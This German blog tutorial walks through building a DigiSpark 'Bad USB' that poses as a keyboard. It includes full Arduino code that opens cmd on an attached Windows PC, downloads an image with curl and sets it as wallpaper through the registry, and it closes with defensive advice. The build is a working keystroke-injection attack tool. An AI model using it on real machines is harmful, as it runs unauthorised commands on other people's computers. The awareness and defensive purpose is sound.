DIY: Bad USB für unter 5€

DIY: Bad USB für unter 5€

Kleine Mikrocontroller, wie der Arduino Nano oder halt eben der in diesem Artikel behandelte DigiSpark Rev. 3 können nützliche Werkzeuge bei der Erledigung kleinerer Aufgaben sein. Unter diesen Aufgaben fällt beispielsweise das automatische Bewässerung von Pflanzen oder das Abgreifen und Senden von Sensordaten. In vielen vorgefertigten Geräten sind ähnliche Mikrocontroller verbaut. Ganz kann man diese verbaut Mikrocontroller zwar nicht vergleichen, allerdings verwenden Hersteller wie Velux entsprechende günstige und kleine Mikrocontroller, um beispielsweise Fenster automatisch zu schließen sollte es einmal regnen.

In diesem Artikel soll es allerdings nicht unbedingt um nützliche Einsatzfälle von Mikrocontroller gehen, sondern eher um das genaue Gegenteil. Wir wollen einen Bad USB erstellen, mit dem wir angeschlossen an einen PC, ungewünschte Tastatureingaben tätigen können. Somit wäre theoretisch das Ausführen von Schadcode oder halt eben das automatisierte Installieren von Viren möglich.

Selbstverständlich ist das anschließen von einem Bad USB an einen fremden PC nicht legal und ich möchte auch gerne darauf hinweisen, dass diese Artikel mehr der Illustrationen und Sensibilisierung gegenüber Bad USB Sticks dienen soll. Für eine eben solche Illustration werden wir einen Mikrocontroller so programmieren, dass er beispielsweise an einen Windows PC angeschlossen automatisch ein neues Bild aus dem Internet herunterlädt und als Hintergrundbild des Desktops einstellt. Wieder möchte ich gerne darauf hinweisen, dass selbst dieser kleinen Witz schon strafbar sein kann.


Was ist ein Bad USB?

Um die anfänglichen Begrifflichkeiten zu klären, sollten wir uns erst einmal überlegen was der Begriff Bad USB eigentlich bedeutet.
Unter einem Bad USB versteht man im generellen ein modifiziertes Gerät welches über einen USB Anschluss an den Computer angeschlossen wird und Funktionen erfüllt, die nicht erwünscht sind. Dabei kann es sich um mehrerlei Dinge handeln, die man auf keinen Fall haben möchte. Beispielsweise könnte so ein Bad USB im Hintergrund Tastatureingaben ausführen und damit in sekundenschnelle ungewollt Dinge auf dem Computer ändern. Ein solcher Bad USB zeichnet sich dadurch aus, dass er wie ein USB Stick aussieht und sich dem Betriebssystem als Tastatur vorstellt. Innerhalb von wenigen Sekunden hat diese jedoch nur eines im Sinn: Befehle in die Tasten hauen, die dem Angreifer Tür und Tor auf dem befallenen Gerät öffnet. Eine zweite Ausprägung wäre das Installieren von Schadcode im Hintergrund, ohne dass Tastatureingaben getätigt werden müssen. Darüber hinaus gibt es sogar noch präparierte USB Sticks, die den kompletten PC zerstören können, in dem sie eine Überspannung am USB-Port anlegen. Der PC wird im schlimmsten Fall gnadenlos "geröstet".


Warum ein Mikrocontroller als Bad USB?

In der Theorie könnte man jeden x-beliebigen USB Stick dazu verwenden einen Bad USB zu erstellen. Allerdings muss man erwähnen, dass bei normalen USB Sticks eine Veränderung der Firmware nötig wäre. Dies ist nicht unbedingt trivial und kostet viel Zeit und Mühen.
Mit einem Mikrocontroller können wir selbige Funktionalität viel einfacher durchführen. Außerdem gibt uns ein Mikrocontroller, durch seine eigene Rechenleistung, die Möglichkeit Code auf dem USB Gerät selber auszuführen. Dadurch sind wir nicht darauf angewiesen, dass die Firmware auf dem zu infizierenden Gerät ausgeführt wird sondern können unabhängig davon bspw. Tastatureingaben tätigen und Prüfungen durchführen.


Einen DigiSpark Rev.3 Bad USB erstellen

Gehen wir ans Eingemachte. Für die Erstellung eines Bad USB benötigt ihr als Erstes einen DigiSpark Rev.3. Dieser kostet beispielsweise bei Amazon zwischen 2-5€. Je nachdem welchen Händler ihr findet und wie viele ihr auf einmal bestellt.

Anschließend müssen wir die Arudino IDE mit mindestens der Version 1.6.6 und die DigiSpark Windows Treiber installieren. Einen Download findet ihr hier und hier.
Eine detailierte Installationsanleitung erhaltet ihr hier: http://digistump.com/wiki/digispark/tutorials/connecting

Nach der Installation müssen wir der Arduino IDE "beibringen" mit dem DigiSpark kommunizieren zu können. Hierfür klicken wir auf: Datei -> Voreinstellungen und fügen folgendes unter dem Punkt "Zusätzliche Boardverwalter-URLs:" hinzu:

http://digistump.com/package_digistump_index.json

Voreinstellungen der Arduino IDE für den DigiSpark Rev.3

Anschließend klicken wir im Menü auf: Werkzeuge -> "Board: XXX" -> Boardverwalter und suchen dort nach "Digistump AVR". Das Suchergebnis müssen wir installieren.

Arduino IDE installiere DigiSpark Board.

Nach der Installation können wir unser Board auswählen: Werkzeuge -> "Board: XXX" -> Digistump AVR Boards -> DigiStump (Default - 16.5 MHz)
Bevor wir nun mit der Programmierung beginnen können ist noch die zusätzliche Installation einer Library nötig, die unseren DigiSpark in Zukunft als Tastatur ausgibt und Tastatureingaben an den angeschlossenen Rechner weitergibt. Hierzu müssen wir zwei Dinge tun. Erstens muss die eigentliche Library heruntergeladen werden. Im Anschluss ist ein deutsches Tastaturlayout zu programmieren.

Zur Installation klicken wir auf Werkzeuge -> "Bibliotheken verwalten..." und geben dann in die Suche DigisparkKeyboard ein. Installiert werden muss "DigiKeyboardFr".

Arduino IDE - Bibliothek verwalten

Arduino DigiSparkKeyBoard

Ist dies erledigt müssen wir in den selben Ordner in dem auch euer Arduino Projekt (sketchXXX.ino) liegt eine Datei ablegen die das Mapping auf das deutsche Tastaturlayout übernimmt. Diese nennen wir "DigiKeyboardDe.h" und besitzt den Inhalt:


#include "DigiKeyboard.h"
#ifndef DIGIKEYBOARDDE_H
#define DIGIKEYBOARDDE_H


#define DE_MOD_CONTROL_LEFT    (1<<8)
#define DE_MOD_SHIFT_LEFT      (1<<9)
#define DE_MOD_ALT_LEFT        (1<<10)
#define DE_MOD_GUI_LEFT        (1<<11)
#define DE_MOD_CONTROL_RIGHT   (1<<12)
#define DE_MOD_SHIFT_RIGHT     (1<<13)
#define DE_MOD_ALT_RIGHT       (1<<14)
#define DE_MOD_GUI_RIGHT       (1<<15)
const uint16_t _ascii_de_map[128] PROGMEM =
        {
                0x00,             // NUL
                0x00,             // SOH
                0x00,             // STX
                0x00,             // ETX
                0x00,             // EOT
                0x00,             // ENQ
                0x00,             // ACK
                0x00,             // BEL
                0x2a,     // BS Backspace
                0x2b,     // TAB  Tab
                0x28,     // LF Enter
                0x00,             // VT
                0x00,             // FF
                0x00,             // CR
                0x00,             // SO
                0x00,             // SI
                0x00,             // DEL
                0x00,             // DC1
                0x00,             // DC2
                0x00,             // DC3
                0x00,             // DC4
                0x00,             // NAK
                0x00,             // SYN
                0x00,             // ETB
                0x00,             // CAN
                0x00,             // EM
                0x00,             // SUB
                0x00,             // ESC
                0x00,             // FS
                0x00,             // GS
                0x00,             // RS
                0x00,             // US

                0x2c,      //  ' '
                0x1e|DE_MOD_SHIFT_LEFT,    // !
                0x1F|DE_MOD_SHIFT_LEFT,    // "
                0x38,    // #
                0x21|DE_MOD_SHIFT_LEFT,    // $
                0x22|DE_MOD_SHIFT_LEFT,    // %
                0x23|DE_MOD_SHIFT_LEFT,    // &
                0x32|DE_MOD_SHIFT_LEFT,          // '
                0x25|DE_MOD_SHIFT_LEFT,    // (
                0x26|DE_MOD_SHIFT_LEFT,    // )
                0x30|DE_MOD_SHIFT_LEFT,    // *
                0x30,    // +
                0x36,          // ,
                0x38,          // -
                0x37,          // .
                0x24|DE_MOD_SHIFT_LEFT,          // /
                0x27,          // 0
                0x1e,          // 1
                0x1f,          // 2
                0x20,          // 3
                0x21,          // 4
                0x22,          // 5
                0x23,          // 6
                0x24,          // 7
                0x25,          // 8
                0x26,          // 9
                0x37|DE_MOD_SHIFT_LEFT,      // :
                0x36|DE_MOD_SHIFT_LEFT,          // ;
                0x64,      // <
                0x27|DE_MOD_SHIFT_LEFT,          // =
                0x64|DE_MOD_SHIFT_LEFT,      // >
                0x2D|DE_MOD_SHIFT_LEFT,      // ?
                0x14|DE_MOD_ALT_RIGHT,      // @ 0x40 0x14
                0x04|DE_MOD_SHIFT_LEFT,      // A
                0x05|DE_MOD_SHIFT_LEFT,      // B
                0x06|DE_MOD_SHIFT_LEFT,      // C
                0x07|DE_MOD_SHIFT_LEFT,      // D
                0x08|DE_MOD_SHIFT_LEFT,      // E
                0x09|DE_MOD_SHIFT_LEFT,      // F
                0x0a|DE_MOD_SHIFT_LEFT,      // G
                0x0b|DE_MOD_SHIFT_LEFT,      // H
                0x0c|DE_MOD_SHIFT_LEFT,      // I
                0x0d|DE_MOD_SHIFT_LEFT,      // J
                0x0e|DE_MOD_SHIFT_LEFT,      // K
                0x0f|DE_MOD_SHIFT_LEFT,      // L
                0x10|DE_MOD_SHIFT_LEFT,      // M
                0x11|DE_MOD_SHIFT_LEFT,      // N
                0x12|DE_MOD_SHIFT_LEFT,      // O
                0x13|DE_MOD_SHIFT_LEFT,      // P
                0x14|DE_MOD_SHIFT_LEFT,      // Q
                0x15|DE_MOD_SHIFT_LEFT,      // R
                0x16|DE_MOD_SHIFT_LEFT,      // S
                0x17|DE_MOD_SHIFT_LEFT,      // T
                0x18|DE_MOD_SHIFT_LEFT,      // U
                0x19|DE_MOD_SHIFT_LEFT,      // V
                0x1a|DE_MOD_SHIFT_LEFT,      // W
                0x1b|DE_MOD_SHIFT_LEFT,      // X
                0x1d|DE_MOD_SHIFT_LEFT,      // Y
                0x1c|DE_MOD_SHIFT_LEFT,      // Z
                0x25|DE_MOD_ALT_RIGHT,          // [
                0x2d|DE_MOD_ALT_RIGHT,          // bslash
                0x26|DE_MOD_ALT_RIGHT,          // ]
                0x35,    // ^
                0x38|DE_MOD_SHIFT_LEFT,    // _
                0x2E|DE_MOD_SHIFT_LEFT,          // `
                0x04,          // a
                0x05,          // b
                0x06,          // c
                0x07,          // d
                0x08,          // e
                0x09,          // f
                0x0a,          // g
                0x0b,          // h
                0x0c,          // i
                0x0d,          // j
                0x0e,          // k
                0x0f,          // l
                0x10,          // m
                0x11,          // n
                0x12,          // o
                0x13,          // p
                0x14,          // q
                0x15,          // r
                0x16,          // s
                0x17,          // t
                0x18,          // u
                0x19,          // v
                0x1a,          // w
                0x1b,          // x
                0x1d,          // y
                0x1c,          // z
                0x24|DE_MOD_ALT_RIGHT,    // {
                0x64|DE_MOD_ALT_RIGHT,    // |
                0x27|DE_MOD_ALT_RIGHT,    // }
                0x30|DE_MOD_ALT_RIGHT,    // ~
                0       // DEL
        };

class DigiKeyboardDeviceDe : public DigiKeyboardDevice{
    public:
    size_t write(uint8_t chr) {
        unsigned int temp = pgm_read_word_near(_ascii_de_map + chr);
        unsigned char low = temp & 0xFF;
        unsigned char high = (temp >> 8) & 0xFF;
        sendKeyStroke(low,high);
        return 1;
    }
    void sendKeyReport(uchar *array,const unsigned int size){
        while (!usbInterruptIsReady()) {
            // Note: We wait until we can send keyPress
            //       so we know the previous keyPress was
            //       sent.
            usbPoll();
            _delay_ms(5);
        }

        usbSetInterrupt(array, size);
    }
};
DigiKeyboardDeviceDe DigiKeyboardDe = DigiKeyboardDeviceDe();
#endif //DIGIKEYBOARDDE_H


Zum Schluss gibt es noch den eigentlichen Code zum Senden der Tastaturbefehle:

#include "DigiKeyboardDe.h"

void setup() {
  DigiKeyboardDe.delay(3000);
  DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboardDe.delay(200);
  DigiKeyboardDe.println("cmd");
  DigiKeyboardDe.delay(500);
  DigiKeyboardDe.println("curl https://staticfloat.de/content/img_3272-jpg-1599395440.jpg -O");
  DigiKeyboardDe.delay(1500);
  DigiKeyboardDe.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d  %userprofile%\\img_3272-jpg-1599395440.jpg /f");
  DigiKeyboardDe.delay(1000);
  DigiKeyboardDe.println("RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters");
  DigiKeyboardDe.delay(1000);
  DigiKeyboardDe.println("exit");

}
void loop(){ }

Klickt in der Arduino IDE nun auf "Upload" oder "Hochladen" und schließt den DigiSpark erneut an den PC an. Nach wenigen Sekunden sollte die Arduino IDE eine erfolgreiche Installation des Codes auf dem Mikrocontroller vermelden.
Solltet ihr alles richtig gemacht haben, so wird beim Einstecken des USB Sticks an einem Rechner das Terminal geöffnet, ein Hintergrundbild wird heruntergeladen und eingerichtet. Ich selber hatte anfangs ein paar Probleme mit der Einrichtung, solltet ihr also ebenfalls auf Probleme stoßen, so schreib mir gerne in den Kommentaren. Als kleinen Tipp am Rande: Bei mir funktionierte das Ganze nicht über einen USB Hub. Der Stick musste direkt an den Rechner angeschlossen werden.


Sicherheitsrisiko - Bad USB

Wie bereits am Anfang des Artikels angesprochen existieren verschiedenste Varianten von Bad USB Sticks. Der in diesem Artikel angesprochene Typ von Bad USB Stick ermöglicht es uns in Windeseile Befehle auszuführen, die wir von Hand in dieser Zeit niemals hätten schreiben können. Diese Automation und Geschwindigkeit ermöglicht es uns eventuelle Sicherheitslücken schnell ausnutzen zu können. Beispielsweise wenn der Kollege seinen Rechner nicht gesperrt hat und nur für 10 Sekunden auf dem Flur steht. Allerdings muss auch dazu gesagt sein dass diese Art von Bad USB Stick an seine Grenzen stößt, sobald auch nur ein einziges Passwort eingegeben werden muss, welches wir in der Regel nicht kennen. 

Leider gibt es da noch ein größeres Problem bei Rechnern die mit dem Betriebssystem Windows ausgeliefert werden. Sollte man als Nutzer auch gleichzeitig Administrator des Rechner sein, so wird bei kritischen Aktionen zwar ein Bestätigungsfeld angezeigt, allerdings kann man dieses mit einer einfachen Entereingabe überspringen. macOS und Linux sind dort deutlich besser geschützt, da entweder das Bestätigen-Feld nicht per einfacher Tastatureingabe erreicht werden kann oder aber ein Passwort abgefragt wird. Wer sich nichtsdestotrotz unter Windows vor solchen Angriffen schützen möchte, dem empfehle ich einen zusätzlichen Administratorenaccount auf dem Windows Gerät einzurichten und sich standardgemäß nur über eine Nutzer ohne Administratorenrechte einzuloggen. Durch diesen Kniff wird wieder die Eingabe eines Passworts nötig.
Natürlich ist das kein Schutz vor Bad USB's, aber zumindest ein Schritt in die richtige Richtung.


Problembehandlung

Wer Probleme mit der Installation der Treiber hat und seinen DigiSpark nicht in der Arduino IDE zu Gesicht bekommt, dem lege ich dieses YouTube Video ans Herz: https://www.youtube.com/watch?v=MmDBvgrYGZs

Marvin

Ich bin ein Mensch, der sich neben der Programmierung noch für tausend andere Dinge interessiert, die mal mehr und mal weniger verrückt sind. Vor allem aber bin ich Feuer und Flamme mit der Programmierung von eigenen kleinen Apps und Programmen, die mein Leben bereichern.

Hat dir dieser Artikel gefallen?

Kommentar hinzufügen

*Pflichtfeld